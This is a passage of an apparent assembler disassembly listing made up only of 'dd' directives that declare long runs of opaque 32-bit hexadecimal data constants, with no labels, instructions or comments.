		dd 32EB8783h, 9CF899DBh, 9B06FA46h, 4C5D2B1Fh, 0B9633C18h
		dd 4042A60Fh, 3A77D081h, 0C2488421h, 85C04445h,	7AD14E1Ch
		dd 0B530086h, 0DA332F05h, 0AE0024C4h, 5C0F680Eh, 21F37C7h
		dd 9339C2E1h, 0DD6067D2h, 2B00C6DDh, 0ED591B3Ah, 0D9F4EBh
		dd 81E576FCh, 8E262C8h,	0F510BD1Fh, 0F9DC20Fh, 821C4F95h
		dd 836DC91Fh, 0CBCE3740h, 78E9079Eh, 4F3684DFh,	0F898760Eh
		dd 1BB8100Eh, 7C8E6229h, 8CCE691Fh, 0F0E0C8F3h,	95377160h
		dd 54401085h, 60346581h, 398768DBh, 9F80EF1Eh, 7658800Bh
		dd 0BCB5F8CAh, 0D1696383h, 20417C32h, 9C83D336h, 0A61C5019h
		dd 0B1820678h, 1A0138CEh, 0A5FA8CB8h, 0CC5EB023h, 75141A81h
		dd 2A88AA4Eh, 1E00F8F6h, 14765D49h, 549ED658h, 0FA939820h
		dd 0A23B0005h, 8909D132h, 3C6FD011h, 26489489h,	6F11D41Fh
		dd 9157F7C8h, 0BF490767h, 6AC0E226h, 5D23D8h, 81A2E066h
		dd 1D764CC1h, 7E0F48B0h, 2F3A6FACh, 7D965F15h, 0C03E7862h
		dd 586C7050h, 0E7C5480h, 4DCFFBAEh, 3D6F2280h, 150AE87Bh
		dd 445BE4D4h, 83C81260h, 0AC5505F5h, 304D566Eh,	408C9904h
		dd 0CA64EF8h, 7A0C0880h, 44763E3Eh, 2C30A636h, 0C778DE03h
		dd 61DDC43Dh, 4BF1DE9Eh, 24E4910Eh, 0C794CC77h,	8B9CA10h
		dd 4C507B64h, 6630932Bh, 0EF745963h, 0FD1110A5h, 8D78D122h
		dd 0F8088C8Ch, 7002820Eh, 8884E777h, 0E09CDB47h, 0ACB777DAh
		dd 0BEFA32C4h, 50283610h, 51DC0303h, 1818419Ah,	0D407A849h
		dd 0DC66E08Ah, 0DADB4409h, 0D812D989h, 0D648D724h, 0D422D591h
		dd 89929344h, 24901291h, 9F8E488Fh, 863F008Dh, 8B076C51h
		dd 0FA664B14h, 0B81B8CF4h, 9484A53Ch, 0CABA04DAh, 4F9408A5h
		dd 5F6E00BCh, 3543E117h, 7C517C21h, 0DD101E40h,	0B97A8036h
		dd 81E01C37h, 0FA95F3Ah, 0EA13553h, 8F998F5Bh, 4B401963h
		dd 0B70C01h, 336CF70h, 37D97A46h, 0A6C3E073h, 0BF48A6F4h
		dd 0FA043FF4h, 18971AACh, 3CF0F14h, 8D0AA14Eh, 19799A49h
		dd 0B0384AE9h, 106F7DB1h, 31F069Eh, 6C6EACE6h, 0EB0922ECh
		dd 417388Ah, 0BC605DF5h, 15D84F6h, 0D96E192Eh, 415BBA38h
		dd 4A7BC610h, 20EBE038h, 0FA5EE61Bh, 12B83E5Bh,	183A4B18h
		dd 9B035403h, 0AD36E263h
		dd 8739AA8Dh, 0A6C0931Ch, 391A17BEh, 28D2569Ah,	0E453422Fh
		dd 9A9D7F83h, 9E410DFCh, 0DC309167h, 0F57A689Ch, 0EC8D970Fh
		dd 2A200B4h, 7E521Fh, 9D4E7419h, 6F738201h, 8FE67DF6h
		dd 6EDB3600h, 3CAB157Bh, 7019006Dh, 7D1B776Bh, 0C7CCEA0h
		dd 0AA4C4007h, 0B0403C8Bh, 1D7B3E79h, 3E9A1EF5h, 4A3FD403h
		dd 401CAC1Dh, 1FEABADh,	7872D921h, 40571EA7h, 3813ACC7h
		dd 0E0E1C07Dh, 3C72F89Ah, 30534A3Ch, 81349860h,	1CA67DABh
		dd 803FD608h, 0FCCE011Ah, 0FF4A736Fh, 609A35A2h, 8165EC15h
		dd 0EBA420FAh, 0A9F0C0AEh, 5F186E57h, 6901A4B3h, 6DB4EA88h
		dd 2CB8DE47h, 19014C72h, 0EB4D7381h, 12E4E0B0h,	384456B5h
		dd 8313CE01h, 0CBFF72B3h, 73157C98h, 47144557h,	451E0140h
		dd 9A82E872h, 7680A7C8h, 70121440h, 7502F86Fh, 0EAF0466Eh
		dd 757095F5h, 8C0D6D00h, 3019B4Dh, 0AA151D1h, 12C87C1Fh
		dd 0AAFA68ACh, 34347D26h, 4C3D8204h, 0AB4700D7h, 1E36288Ch
		dd 24726DBDh, 0A7490E98h, 128A803Fh, 0B0776F7Bh, 50C14098h
		dd 5ACE6DBEh, 66E245FDh, 726CA020h, 3870121Ah, 6EEC0F48h
		dd 7418A709h, 0E8748CAEh, 4E890D3h, 48EBE8BAh, 7400309Dh
		dd 8D564A72h, 90B07A71h, 4A985195h, 7A818158h, 606B79ACh
		dd 8013B454h, 0D003229Eh, 0C0B2194Dh, 0C4741583h, 0C0ADAC40h
		dd 39AA56C0h, 67BECCEBh, 3EA9813Ah, 8CC838h, 7A16E3D7h
		dd 2CA87734h, 0E706E79h, 1D5D6D81h, 0A7AE09B7h,	1D83A000h
		dd 0ABF06EAAh, 21607662h, 1EAC4379h, 12776C58h,	0D819AB7Dh
		dd 0FFC7AE40h, 0C8168DCEh, 55E220E1h, 81E2D46Bh, 129413FFh
		dd 0ABAB77A0h, 52FFD03Eh, 718F9DF8h, 97BE0E7Bh,	0ACE8D430h
		dd 567A3969h, 0C0C06058h, 853FD557h, 12641958h,	0B874AC4Bh
		dd 26B08FABh, 5C251C1Eh, 1F753A84h, 0CF737DA6h,	309BA91Dh
		dd 61766D91h, 70DC7F7Ch, 0D70C9EB3h, 4DEB0BF6h,	0C4211B7Bh
		dd 603A74F9h, 0E4B37DB4h, 0B13DBE89h, 9861800Ch, 18BAB731h
		dd 0D8487D3Ah, 5C3E7874h, 0C44C10A9h, 0BE1C0692h, 0DC98093Fh
		dd 0E4A5C498h, 0AB506E19h, 3C18C064h, 205C77D4h, 0ADA76709h
		dd 69191086h, 766FAB3Ch, 6E5C2274h, 527E9E20h, 3C1FD22Ch
		dd 6DAB80F1h, 3430ACF9h, 0CF58DD47h, 34431CAEh,	0B0E6A97Eh
		dd 6C80E865h, 50871834h, 0CF6A215h, 582ECFAh, 0D013C045h
		dd 0E084B56Eh, 3D43A6B1h, 2F7CC4D3h, 0C8492C18h, 0B09B6D80h
		dd 0B44A737Dh, 8B077D50h, 0ADF76D3Ch, 0D8817A35h, 64749E73h
		dd 7D220A77h, 0AD407B3Ah, 5027F89Ah, 9750F356h,	4C6EDDA0h
		dd 1220A75Ch, 44EB1E49h, 0F0697DF0h, 1DE83E44h,	91736F27h
		dd 0D4681B3Ch, 4099E187h, 0B0809CAAh, 0F5D795Ch, 1E3C75A8h
		dd 4C408CC3h, 823FD11Dh, 3A9F9070h, 9B3EFD9Eh, 0B0506041h
		dd 21387630h, 1DAA463Bh, 97D4070h, 50E97279h, 87C82D7Bh
		dd 687C08CEh, 93DC2E0Bh, 808114E0h, 7634AC29h, 0EC1FFC4Bh
		dd 1750BAEFh, 57FCCF34h, 0FE90DC4Dh, 7A738114h,	8F0075F0h
		dd 9B80DA06h, 67270ACh,	39A7564Ch, 7B192177h, 1B8AAAAEh
		dd 0C84438D1h, 90E8C6BAh, 0E0203C5Bh, 2970CF36h, 0A938A87Bh
		dd 6D017E10h, 4A6F81AAh, 0E1D37E0Bh, 28877B1Dh,	4297CEF6h
		dd 1C4270FAh, 7669DC00h, 20C0721Dh, 4C6DA61Ah, 137C7415h
		dd 8574A777h, 0E5E0DDB8h, 0DBC441A0h, 8C90E280h, 0F89CBEF4h
		dd 80387CC0h, 0D850F81Ah, 0AB4D88D8h, 56A097A3h, 5C9071DBh
		dd 8240CFh, 1B8134E0h, 3C049873h, 0A848CE57h, 75C2A040h
		dd 0B03E5045h, 0BEF0A8AAh, 20800B37h, 0DCE6A16Fh, 0C3DB43Ch
		dd 0E93ABE21h, 0BAEF836Ch, 89DCA958h, 606BE01Ah, 68703005h
		dd 0D4A257C2h, 0A67E3F04h, 11448572h, 744AF4F0h, 0ADF0F464h
		dd 309C2090h, 8C036F1Fh, 0E3AA4C38h, 0D5E80A40h, 0BF07D3Fh
		dd 0B0CD7B73h, 0D0610A54h, 5504A74Eh, 13D80D7h,	0EF59ED91h
		dd 34C01D00h, 2BB78EE9h, 3D9DEC4Eh, 3106F830h, 39A6D680h
		dd 47C49E17h, 0E401B200h, 122DE59h, 0D6B2AF80h,	80B08510h
		dd 9673C029h, 913C68h, 5A06CF2Ah, 0E0E2DD71h, 0B1C27200h
		dd 2C575B61h, 646700A8h, 0CAD05F53h, 3D0311BEh,	93A9E7E5h
		dd 70A8625Ah, 3200592Eh, 0BC2C88h, 6AD15FD9h, 934DC983h
		dd 205BD530h, 2979EDA7h, 0E2207C1Eh, 2630B13Dh,	3981154Eh
		dd 70008CCCh, 47C7ECF0h, 5D19CBCAh, 75081A4Fh, 0E88A2180h
		dd 0A85C9AECh, 0B13EA300h, 9BAC7640h, 0C1C40016h, 90AD8E45h
		dd 0D8D858EBh, 20A83310h, 0B0C4461Fh, 0F0450731h, 0FC8C04C7h
		dd 2D5C41C5h, 3894CE77h, 0D881D8DEh, 0F44659F3h, 0FB1551CAh
		dd 881C38C6h, 50180A5Fh, 42E380F4h, 0B1C1F1AAh,	0F2BC6200h
		dd 1343D67Fh, 0CA75285Ch, 0C73930B4h, 0EC6082D9h, 0B6017A00h
		dd 9181BD13h, 33CB74A3h, 0E89BED8h, 5A00918Eh, 6C6AB967h
		dd 0AD7A4Ah, 3A591DAFh,	8F3F6327h, 5B2448E0h, 0BC910C43h
		dd 0AB07F901h, 0F13B3D47h, 0C03FE96Eh, 0FB00EB7Bh, 0D58378BCh
		dd 112B9E45h, 7304BA8h,	13DEAECBh, 1B8B5D6h, 400E1B4Eh
		dd 4CA134EDh, 0F0462978h, 54201C46h, 72ACDF56h,	37044846h
		dd 0C47CDAh, 67EAD9E4h,	985550E5h, 9D1318D6h, 0BD7650CAh
		dd 708449C0h, 3F9D786h,	9CF50753h, 0E9C03752h, 3503EB59h
		dd 34F3DC84h, 0F43830C2h, 32E540B8h, 687E6837h,	880C3DD9h
		dd 47D447AEh, 13DC0487h, 6103CC05h, 61065F2Fh, 0CF774356h
		dd 0AF8B2818h, 0A9E332E8h, 0B0829E09h, 1A22C9D9h, 10C8455Ch
		dd 8830647Dh, 0C44124C9h, 0A718AEBFh, 98A12B6Ch, 0A44600F8h
		dd 0AD8642BBh, 2203F945h, 1087519Ah, 373188C6h,	0CEA70C04h
		dd 2E395AA8h, 359E8400h, 0CBFD83D7h, 86B66CFh, 1D0E2132h
		dd 0E01C9E7Ch, 6789FB93h, 30AB7262h, 6699AF77h,	7A718EA8h
		dd 0F884B72Ah, 5E2B93Ah, 0FE9D0BBh, 31018C20h, 0DC87019Dh
		dd 0E4AB3A54h, 508988Ch, 4391A21h, 165A849Dh, 0EC8F80D7h
		dd 98A5D6DEh, 0F6317764h, 0E02E005Ah, 88564847h, 8BB34303h
		dd 0A8F22283h, 32E6D661h, 14C088A4h, 7CE12086h,	90C81982h
		dd 205741DBh, 48C7D88h,	47CBECF4h, 277962EAh, 0EF20FE8Eh
		dd 397BBB36h, 381994E5h, 457F1FB3h, 60892400h, 7E27FDB9h
		dd 1499084h, 905CD249h,	0D67AAB45h, 0F87E8086h,	0D0F5DD00h
		dd 9FCA49B1h, 58074D4Bh, 0D18FED09h, 0BF3E9201h, 0D07FF945h
		dd 9E0EA517h, 0C0E2AEDBh, 7BB3C162h, 54F4F3h, 9D20E55Ah
		dd 3DA78441h, 72711400h, 8EF39B1Ch, 5D8501DFh, 0F0E0AB4Eh
		dd 0EF18D48Bh, 3DBCB400h, 71A01D6Eh, 612818AEh,	0A2434046h
		dd 51E5B900h, 38A9229Bh, 0ADFCF8h, 0C77591A8h, 0BC0B489Ch
		dd 0D8E0D300h, 4CF6CF59h, 925D06B8h, 58862CBFh,	5FED240Ch
		dd 181CA80Ch, 186FAEEFh, 0FE01C92Ch, 922A734Fh,	1FDC22A0h
		dd 880430EFh, 4832E720h, 563880EBh, 215845C8h, 0A8031FB4h
		dd 88A95860h, 41004D70h, 7C24DBD6h, 662C6CB5h, 21520874h
		dd 0D60379F2h, 7E0EB786h, 1B0DF0DAh, 0BFE300F3h, 521F8AF2h
		dd 0AD537B1Eh, 707F1DA8h, 9895D08Eh, 0D6B1F0h, 0FC184BEAh
		dd 2C10B449h, 21AC08CCh, 0EADE035Bh, 814BD837h,	9E3DE388h
		dd 0C8435828h, 45AA2121h, 438C0F22h, 9CF87A30h,	519FDE37h
		dd 6D75DCC0h, 0ADF34CB0h, 28EBD403h, 48049025h,	7A3B1BF2h
		dd 0F12C2400h, 0F0081BFh, 504B7949h, 5461EFCEh,	0DAD8025h
		dd 5BF3CBABh, 0A62CF830h
		dd 209C7303h, 153A9235h, 0EC65F980h, 0CAAFB101h, 0F0CCAE2Bh
		dd 0DB1856D2h, 3EA06839h, 543F3624h, 0D5209048h, 10BB18B9h
		dd 0EECE416Ch, 24F86424h, 601172C2h, 0A551A5h, 17EF8F6Eh
		dd 0E26A4BAAh, 8F64D849h, 0B9A76C71h, 9EF6DCh, 0CE52AA40h
		dd 0D2569C78h, 0FF860B00h, 0AB28E77Ch, 5E60C04Eh, 0B4852391h
		dd 6888F1C7h, 5D311430h, 29A9190Ch, 8E8F0855h, 6E606921h
		dd 0C70300D7h, 3A6442F3h, 0DC89ED4Eh, 9001A163h, 0DC3378BAh
		dd 357C2434h, 880C0348h, 0EAD8C01Dh, 2C461841h,	2051887Eh
		dd 0DFF7EA03h, 0F8654C0Bh, 2A9D63D3h, 9866F9h, 0CC34DA90h
		dd 0F0131894h, 0E0F4F600h, 0BB3E1F61h, 0A67BCAh, 8F773CE1h
		dd 74EFDB26h, 906748h, 0A8D2BB66h, 0CBD605h, 53E62361h
		dd 0A736F771h, 20468CA4h, 15886939h, 68715531h,	50EF20h
		dd 0A7D93C9Eh, 1CF01FB5h, 0D198D030h, 4239CDh, 635FD1D7h
		dd 29491091h, 0AA69701h, 0A01E4E14h, 67032C26h,	0AE12F8EBh
		dd 0A2419009h, 7DC10E9h, 0FC937FE1h, 78CA03F9h,	64A03523h
		dd 0E6A2381Dh, 0E10D29B0h, 3F90016Dh, 0D09718A9h, 0C80439Ah
		dd 4DD3CCF8h, 38AC4890h, 0C88D7301h, 0EDE0E2BAh, 8C661830h
		dd 0D5D64F04h, 57624C24h, 0D6476A20h, 0EEB263Ah, 0A9B1C764h
		dd 5C4BE018h, 837631C9h, 98358F83h, 1663602h, 0C3A20E53h
		dd 9231510Ch, 1C2F7EE0h, 0BD00AE23h, 920C13ACh,	640F031Eh
		dd 0A18F1431h, 0F06B8004h, 8CABA3Ah, 61F0F932h,	11D64030h
		dd 887424D8h, 786D8054h, 0C50663D6h, 0FD291706h, 89A3DEh
		dd 7777901h, 129769DBh,	0AC0002B0h, 0BEF3FA36h,	3C994492h
		dd 88805062h, 0B71DA4D6h, 98A2B2B4h, 3C0FEC82h,	31531000h
		dd 165624DAh, 88F8C410h, 9600F984h, 4F81EA2Bh, 4E41604h
		dd 347997E8h, 73C88072h, 4768B128h, 7B0884F0h, 0ADCA0F58h
		dd 496DF966h, 0F712101Dh, 9411EBC0h, 0CC69F395h, 2D211C08h
		dd 6EF71A01h, 0B48AD0EBh, 8F24518Fh, 10242CF2h,	0ECDCAB00h
		dd 0A205DA94h, 2608068Eh, 516817BBh, 9942223Eh,	6FD00264h
		dd 0DD88C022h, 12316EC7h, 81186D31h, 87407789h,	29B8579h
		dd 7BB70D45h, 3C4C9CE5h, 4388F016h, 3F079802h, 0E9C460EAh
		dd 0DF2980A3h, 2A29AF71h, 77136460h, 0C01B5C08h, 184FEADAh
		dd 5780DC43h, 8D48EA22h, 0BF129A00h, 4CD5147Eh,	0D8EB166Bh
		dd 414443FEh, 4085E71Eh, 2AC05F8h, 537CF1E6h, 81ECA64Dh
		dd 9F10EF40h, 0EB072880h, 32DF50E4h, 71160491h,	52E95A0Fh
		dd 61EE6C0Ch, 5EE8C349h, 99489B3Ch, 0D9D20438h,	0CCC16995h
		dd 18001D64h, 995C50E7h, 0BA54A01Ch, 94623971h,	78510500h
		dd 0C853DFC2h, 2031C326h, 8CE0AB1Eh, 23A12EDCh,	0B8856254h
		dd 5481D0A0h, 550035F5h, 7DDC4530h, 66AAAE8h, 85BD0546h
		dd 1F7B2987h, 0C729140Eh, 9050F8B1h, 2AE9006Fh,	34F2E163h
		dd 0A34948B4h, 40F000C0h, 97A4CE6Bh, 62040423h,	0C0DA684Bh
		dd 0B5B1A11Ch, 0A3143E09h, 5F3CA44Ch, 0E2A02140h, 0D8F0B5DDh
		dd 94859E02h, 6C015BF2h, 222C0508h, 685805h, 81CC7988h
		dd 4833C8A7h, 0D0A24959h, 0F3E4B86h, 2B51EE3Bh,	0C333B860h
		dd 93010211h, 0E510D1E0h, 88364E9Fh, 1798B831h,	0C8D80458h
		dd 0A39172A0h, 211AAAD0h, 0A8AB49Fh, 844B5614h,	0F6E84780h
		dd 81003FA5h, 51F725D0h, 0F8372A3Ah, 0CD8B87Ah,	0A44B1039h
		dd 597C9531h, 5A2CAA04h, 3898174Ah, 0C0F37DA2h,	0DEEB5E29h
		dd 0A493D983h, 0A922CE0Dh, 59A21033h, 58605F31h, 111C40E8h
		dd 0A524D690h, 0BB04F1C2h, 10D7B115h, 0A5740FB9h, 20D2FE7Fh
		dd 0EAD5301Ah, 0D4184C10h, 0DD56E1h, 1C3382Dh, 202A57FEh
		dd 1365FFDEh, 9EAAF8EDh, 316F26DBh, 1F3B0035h, 0E61C781Eh
		dd 0ACCA2B04h, 90C818BBh, 4BE01DF0h, 41B42EA2h,	0D28FED44h
		dd 240A70E4h, 87333E5h,	7C202028h, 9F920A64h, 20E4A938h
		dd 0C419F79Ch, 242CD7D6h, 6870AC5Ch, 20D60B45h,	0E404B0E6h
		dd 0EDAA422Ch, 84DCAFEBh, 28D0A4EFh, 3591EEh, 925EA81Dh
		dd 40C6D8E5h, 0AB1D3090h, 0E4296BCBh, 9F91AA04h, 0D0881CB5h
		dd 1E0563FFh, 0B0C1B5B0h, 30804FEFh, 16B13870h,	0BE4044B7h
		dd 0A82400ADh, 0D13F1A20h, 0B06A9CB8h, 180860B0h, 971C0168h
		dd 60C31609h, 6D03C46Ch, 0BFED2AD8h, 9120026Ah,	667856FCh
		dd 1A23209Eh, 3D22020Bh, 1101656Ch, 80A62743h, 0B002E940h
		dd 0E92093DCh, 2CDAA889h, 419C1FB8h, 35315ED0h,	0E796F83Ch
		dd 90B9582Eh, 8469FCAEh, 10674594h, 1EB73F7h, 2F19448Ch
		dd 5CF71801h, 0F82959C6h, 5D1900FFh, 20CE5A4Fh,	9FE8F599h
		dd 574AA13h, 0A1D10061h, 92179180h, 0E29FD0CFh,	9ED6741Eh
		dd 0BFA57281h, 0EC6119EFh, 80429891h, 0EB72F70Fh, 14448C39h
		dd 0F717002Eh, 0D8F8133Fh, 58128FBBh, 101F0E3Dh, 78249190h
		dd 6018125Ch, 4AEAD7B4h, 0E096C4F4h, 3DF5458h, 0D8402AEAh
		dd 90A8D9EEh, 0BD1230A7h, 6040A64Bh, 44FA7CCDh,	1C340448h
		dd 80A118EFh, 0F72907F8h, 0F0C0FC06h, 0C8A99C90h, 13C546D8h
		dd 91193CD2h, 32111A6Ch, 0CA41601Bh, 863ADA3Ch,	9DD17A0Eh
		dd 1FB02A1h, 0C651E467h, 2CE20B60h, 90406002h, 80B8DC9Fh
		dd 6BE520F8h, 934987Bh,	481793C0h, 0A914D8C4h, 0C268DCh
		dd 4B6ED784h, 0AC33AE6h, 61994FF2h, 0BBA03DA0h,	710A70F2h
		dd 0EC02E39Ch, 86884505h, 82C868CEh, 0F5DCC3C0h, 36F82CEBh
		dd 93787ECh, 14BB416Ch,	0C8984F04h, 0A979C01Ch,	8F6ED128h
		dd 0BF79D8A0h, 0A2332424h, 0F0ED037Ch, 783DB36Eh, 6EF15A8h
		dd 3D2404E8h, 3CC80E78h, 40BA41FCh, 0FE7BFFECh,	68286180h
		dd 1180597Ah, 626F8F22h, 31653113h, 67761185h, 0CC0D1CCh
		dd 0B6E09F1Dh, 51A2460h, 40780D1Ch, 8A8F8044h, 10181C61h
		dd 0DF1EE61h, 9850EFD9h, 0DB98021h, 2342F528h, 671737EDh
		dd 21CEB148h, 0B8342DCFh, 15A50081h, 0A43D699h,	1730BB50h
		dd 67F7173h, 7EEA013Fh,	0ECA2B5E9h, 8806D3A7h, 9D3ED22h
		dd 0EFDA3480h, 5E5421FAh, 4C4C3237h, 22867D90h,	0E5177214h
		dd 5831F39Ch, 0A0488429h, 42880020h, 0A5FE6648h, 0E5002CDCh
		dd 0FD6E1DF3h, 0F028346Bh, 51E001FCh, 0D489D51Bh, 0A8D2E77Ah
		dd 6D357C66h, 0F4D7B020h, 58CAA3C5h, 7EFA2903h,	808418ECh
		dd 76CAB87Ch, 90B40404h, 233AAD70h, 74130085h, 3AE3B9A2h
		dd 4BD72C18h, 2020E578h, 475CB3D5h, 8CAEE808h, 525E2A00h
		dd 0BB3D3738h, 2C9E0BC8h, 8821A6B3h, 9482B0F3h,	81C81EC9h
		dd 9B8D2005h, 48414469h, 3078BC42h, 6811F715h, 0E29E69EBh
		dd 0F71D301Fh, 0ED1B1280h, 13860E2Bh, 204861B6h, 10086694h
		dd 289ACC02h, 786CB7B8h, 0EB0E0558h, 1D8FF5EFh,	40BC52CDh
		dd 7B79B408h, 456234B1h, 2DCE918h, 56E13F1Dh, 0FF59805Dh
		dd 13C9D106h, 659C006Ch, 0BDB52EB8h, 73062F3Ah,	0A4AED771h
		dd 1CB708E0h, 0ED04A543h, 80B2BDE9h, 0A833ABF2h, 48F72F6Dh
		dd 508ACCBh, 5E049128h,	0C92CA96h, 9ACE4C8h, 45D53520h
		dd 90611C86h, 21A64227h, 1BB85C58h, 79C03039h, 0DA190FE9h
		dd 466B4096h, 5FE48014h, 0C520CF91h, 27413F3h, 5AF80B9Ch
		dd 243FE8A0h, 0E5807CE3h, 0A29630F0h, 39E16D18h, 0ED09A0DEh
		dd 3FBCE873h, 528A4E6h,	0DCC9C3EBh, 94F0C14Eh, 0DEB50185h
		dd 0A088A8C6h, 0DB801C11h, 24184EEAh, 50A9448Ch, 88EA2300h
		dd 81FF2D1Bh, 99BF2A92h
		dd 0A80312F8h, 4E1C8C67h, 24DAD608h, 4056C444h,	21D6466Bh
		dd 0E5860F72h, 2B84BEEAh, 0B3CB05Bh, 0A0692016h, 886104C9h
		dd 0A00F2BF2h, 90E3EB1h, 11A21FCCh, 0CFE03F7Ch,	0D108A15Dh
		dd 6C00C06Dh, 40EEA652h, 0C9F0E066h, 19BB20C4h,	5CE9488h
		dd 4210FF22h, 0C8D010E6h, 44BAB214h, 5212C440h,	5824E890h
		dd 8EB9F00h, 78029DE6h,	7ADCEF40h, 64021098h, 0B746051Dh
		dd 4897BFA0h, 3E44225Bh, 84470190h, 753820DBh, 60FF802Ch
		dd 31D0BF0Ch, 0C7E52FA4h, 0A092B802h, 788074C1h, 8190916Ch
		dd 86FC9F18h, 0F819E829h, 0E96DE164h, 0B007F4A0h, 2E813802h
		dd 83DA1806h, 0F51E5284h, 658C8014h, 0E8606A38h, 23D1D64Bh
		dd 50112C24h, 0D6436600h, 5327A504h, 0FBBCD3Ch,	8193A2DEh
		dd 0B0A1E1C8h, 1444DBE8h, 5C16980Dh, 0EFC6E5Bh,	0A7994036h
		dd 2DF0250Fh, 0C0C3F661h, 42B3F4B8h, 0D0AC7BB9h, 0B379E0C9h
		dd 6FF7F088h, 226146EBh, 1C330018h, 3EFEBEF7h, 0EB0AD1DBh
		dd 0F0B80920h, 54E71882h, 352400A8h, 0A4960E34h, 0A8720BFh
		dd 96A7E107h, 480267F4h, 0B7C9431Eh, 0EE84198h,	6550C4CCh
		dd 0B448A8BEh, 0EE00EC90h, 743783B0h, 649368Fh,	8587C36Ah
		dd 5E0049B9h, 0C5C95347h, 7FC8EEBFh, 0A59700B1h, 38394ACEh
		dd 774D2C31h, 14DB1420h, 0D2881088h, 81BBF300h,	3F560111h
		dd 29D71C34h, 0CC3C4C80h, 0C11D517h, 41A2101Fh,	9C9F91ACh
		dd 17B8AD96h, 80519148h, 270B2812h, 3E9802F1h, 0AF41117h
		dd 685FD686h, 0A838430Ah, 4201AAD2h, 0C428EB56h, 7C6D6831h
		dd 200AFBCh, 9A8196A8h,	1223445Ah, 246A37E5h, 939C8240h
		dd 81FC1CE1h, 97B87969h, 0D0509924h, 6CE8878h, 0CA37D6EEh
		dd 0A302A8A9h, 0EF23CC63h, 0C1E4EAE8h, 2D21F9Ch, 24486BF9h
		dd 1400D876h, 1CA15628h, 0EED2B0h, 3823C3B3h, 86F3614Eh
		dd 0F06B963Ch, 0EE49E0DEh, 0E4640EA1h, 0E8929E3Dh, 0F8C4F8h
		dd 134A4DD0h, 905E5098h, 1AD8E50Bh, 1C18219Eh, 0DC4442C7h
		dd 543004D9h, 19AC67E7h, 0D8AFA7D7h, 512B2C04h,	8F6C4B02h
		dd 33270052h, 0A4B4240Ah, 523C5082h, 8A28226Ch,	0ED982503h
		dd 39F9EF0h, 1B05A850h,	380D471Dh, 0C099C7F5h, 0A5EB8088h
		dd 55D0E702h, 0E578C837h, 2E1577D5h, 81E00BCCh,	61833970h
		dd 11204FDDh, 0F8983244h, 0BB807C9Fh, 3B253D2Dh, 7EE82289h
		dd 0A9C418C5h, 80629D60h, 0F459AE24h, 0F996C08h, 22602907h
		dd 0D31BF311h, 0A8E8A8AAh, 0E00F0474h, 29E4CF9h, 537DF7CBh
		dd 28F0A648h, 0B55D2C68h, 0B6084E20h, 0FC092013h, 615060FCh
		dd 40AC5DC8h, 7C10204Ch, 0DB9E260Ch, 0EFDABE02h, 583C4B24h
		dd 0C40E6429h, 40556FEDh, 8AFF9E1h, 0F314FBF7h,	106448B4h
		dd 0A201BC5Ch, 226504E8h, 7D7820C0h, 1D14909Ch,	986064C0h
		dd 35224E0h, 25A43816h,	0A1E0A99Fh, 0E09684B1h,	0B32BAB40h
		dd 0AE0F80A0h, 901E19D2h, 0ACA3FD0Ah, 0BBC10B11h, 0CE5F7E60h
		dd 164378C2h, 3C71A04Ah, 0F0080315h, 50D4E24Dh,	0B3204B2Ch
		dd 345E171Bh, 167C3259h, 12EAD130h, 8BF41848h, 0D95A001Ch
		dd 0BB36E8EAh, 0D21C7984h, 23483A18h, 0AC5A008Dh, 0EC14B862h
		dd 386FB00h, 0B4B715A3h, 0BF189C88h, 780B8A22h,	629832DFh
		dd 17DC5634h, 58800479h, 0A903079Ah, 90F09F81h,	0CFA81181h
		dd 0F680A1C6h, 3DD0E061h, 560B7E38h, 8052C43Ah,	43CC42BDh
		dd 20A0901Ah, 0DB487AA7h, 73041038h, 7058C73Fh,	10814630h
		dd 0AC0B3D49h, 221692h,	0B4F371B8h, 44DF0F53h, 0D7F0CBABh
		dd 1AC8E08Ah, 0B134C0CEh, 5807E0F6h, 6B1044CAh,	3F5C485Ch
		dd 48405Eh, 31BDF37Bh, 0D10B7415h, 0FBE1A560h, 0A21179h
		dd 0A019C61Ch, 3D5046DAh, 1DB0BBA3h, 29483FD3h,	0B12C227Ch
		dd 181ED10Ch, 0BE660536h, 0E220EA3Ch, 3056F234h, 5EA6308h
		dd 0B2205890h, 1DA50442h, 0A4B6949Fh, 941F41Ch,	84A4F801h
		dd 0D9EE0700h, 0E3CC1950h, 31A24B40h, 5E61A1E4h, 0C494283Bh
		dd 0C1295ACh, 7B316030h, 0F978BA78h, 812D737Ch,	0A6C0A5AFh
		dd 20CE8C12h, 0AFC31B88h, 5CE68964h, 48C684EDh,	0CCF7Ch
		dd 7DE73169h, 20B7676Ch, 2501DDF6h, 0FC7A6F08h,	2E546CCh
		dd 8B14522Eh, 0C0A4C84Ch, 9BF08CA0h, 0B30510EEh, 301701BAh
		dd 0C290940Bh, 7918591Ch, 4CC18A4h, 42F0EB73h, 0B19CC8B7h
		dd 0BAF8E08Bh, 7818C297h, 0F62E7BEh, 0D1B89454h, 306F2EB8h
		dd 8377880Fh, 54C03D4Fh, 42100203h, 4FB7BE07h, 988AAE13h
		dd 646CE725h, 0C10461A4h, 2A80D47Ch, 93CBA94Ch,	5EAFCA12h
		dd 605250A0h, 0DF61E883h, 0C8B191B3h, 845A9308h, 2F80A28h
		dd 496311BBh, 447D4808h, 2ACE0500h, 0CC3F3AEAh,	345E4F26h
		dd 88481D80h, 0B6492080h, 71A04068h, 58006D77h,	86EA50F9h
		dd 1191DE9h, 920C05F2h,	31DE9FBFh, 640830FCh, 746000E9h
		dd 2530B00Dh, 20C7A163h, 53601464h, 0DB0043A9h,	410C8A10h
		dd 4920056Eh, 137490B1h, 0A479AB2Ch, 0FF4ACE94h, 0C7DF4C48h
		dd 3110316Ch, 888E187Dh, 4CE66475h, 0D62CA802h,	84A0EE9Ch
		dd 172139A4h, 20E5106Eh, 1209E7Dh, 40E7B678h, 93302389h
		dd 0AA23682Eh, 18200300h, 16105229h, 6439E053h,	0F2E8B2FCh
		dd 782D3158h, 7B26C070h, 2B648E1h, 15C685ECh, 2C419FF5h
		dd 5E4B1156h, 531E41BFh, 0F0AE0077h, 29CB782Bh,	0F3D77D00h
		dd 0C1EF1C12h, 76349EDEh, 28005746h, 4A105469h,	1F7566EAh
		dd 126E1D58h, 9891A7DFh, 342CFFFBh, 8C8EECh, 0E8D42644h
		dd 749F0FC8h, 0DC26689Bh, 0C9F8EE39h, 10D8DA4Eh, 26DDE6C3h
		dd 0B941E471h, 203B79B2h, 0EEFF0224h, 0B73192Ch, 0E31C4800h
		dd 26FA1399h, 40F4DE8Ch, 546A2C94h, 0C93DAE8h, 109F1805h
		dd 1826D4A1h, 9C97137Ch, 0E7609398h, 1018314Ch,	288871Ch
